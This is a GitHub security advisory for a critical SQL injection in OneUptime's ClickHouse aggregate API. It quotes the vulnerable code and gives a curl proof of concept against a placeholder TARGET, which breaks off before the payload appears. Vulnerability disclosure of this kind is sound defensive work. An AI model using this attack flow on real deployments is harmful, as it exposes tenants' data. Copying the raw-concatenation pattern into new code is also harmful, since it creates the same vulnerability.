GitHub Security Advisory: GHSA-p5g2-jm85-8g35
Package: oneuptime (NPM)
Severity: CRITICAL (CVSS 9.9)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 10.0.23
Patched in: 10.0.23

Summary:  OneUptime ClickHouse SQL Injection via Aggregate Query Parameters

Details:
### Summary

The telemetry aggregation API accepts user-controlled `aggregationType`, `aggregateColumnName`, and `aggregationTimestampColumnName` parameters and interpolates them directly into ClickHouse SQL queries via the `.append()` method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.

### Details

**Entry Point — `Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296`:**

The `POST /{modelName}/aggregate` route deserializes `aggregateBy` directly from the request body:

```typescript
// BaseAnalyticsAPI.ts:292-296
const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize(
    req.body["aggregateBy"]
) as AggregateBy<TBaseModel>;
```

No schema validation is applied to `aggregateBy`. The object flows directly to the database service.

**No Validation — `Common/Server/Services/AnalyticsDatabaseService.ts:276-278`:**

```typescript
// AnalyticsDatabaseService.ts:276-278
if (aggregateBy.aggregationType) {
    // Only truthiness check — no allowlist
}
```

The `aggregationType` field is only checked for existence, never validated against an allowed set of values (e.g., `AVG`, `SUM`, `COUNT`).

**Raw SQL Injection — `Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527`:**

```typescript
// StatementGenerator.ts:527
statement.append(
    `${aggregationType}(${aggregateColumnName}) as aggregationResult`
);
```

The `.append()` method on `Statement` (at `Statement.ts:149-151`) is documented as accepting **trusted SQL** and performs raw string concatenation:

```typescript
// Statement.ts:149-151
public append(text: string): Statement {
    this.query += text; // Raw concatenation — "trusted SQL"
    return this;
}
```

Similarly, `aggregationTimestampColumnName` is injected into GROUP BY clauses at `AnalyticsDatabaseService.ts:604-606`:

```typescript
statement.append(
    `toStartOfInterval(${aggregationTimestampColumnName}, ...)`
);
```

**Attack flow:**
1. Authenticated user sends `POST /api/log/aggregate` (or `/api/span/aggregate`, `/api/metric/aggregate`)
2. Request body contains `aggregateBy.aggregationType` set to a SQL injection payload
3. Payload passes truthiness check at line 276
4. Payload is concatenated into SQL via `.append()` at line 527
5. ClickHouse executes the injected SQL

### PoC

```bash
# Step 1: Authenticate and get session token
TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \
  -H 'Content-Type: application/json' \
  -d '{"email":"user@example.com","password":"password123"}' \
  | jq -r '.token')

# Step 2: Extract data from ClickHouse system tables via UNION injection
curl -s -X POST 'https://TARGET/api/log/aggregate' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -H 'tenan